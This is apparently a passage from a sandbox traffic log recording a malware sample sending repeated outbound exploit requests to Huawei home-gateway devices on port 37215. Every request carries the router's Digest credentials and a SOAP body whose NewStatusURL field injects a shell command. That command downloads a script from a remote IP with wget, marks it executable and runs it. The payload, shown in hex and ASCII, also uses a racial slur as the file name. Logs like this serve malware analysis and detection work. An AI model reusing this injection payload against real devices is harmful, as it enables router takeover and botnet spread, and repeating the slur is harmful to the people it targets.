Feb 19, 2024 18:37:05.186180115 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:09.793956041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:18.753695965 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:37.953092098 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.816104889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.15	43646	122.224.237.121	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.136064053 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.15	48274	31.200.77.121	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.158349991 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.15	48062	122.114.15.2	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.248254061 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:05.442096949 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
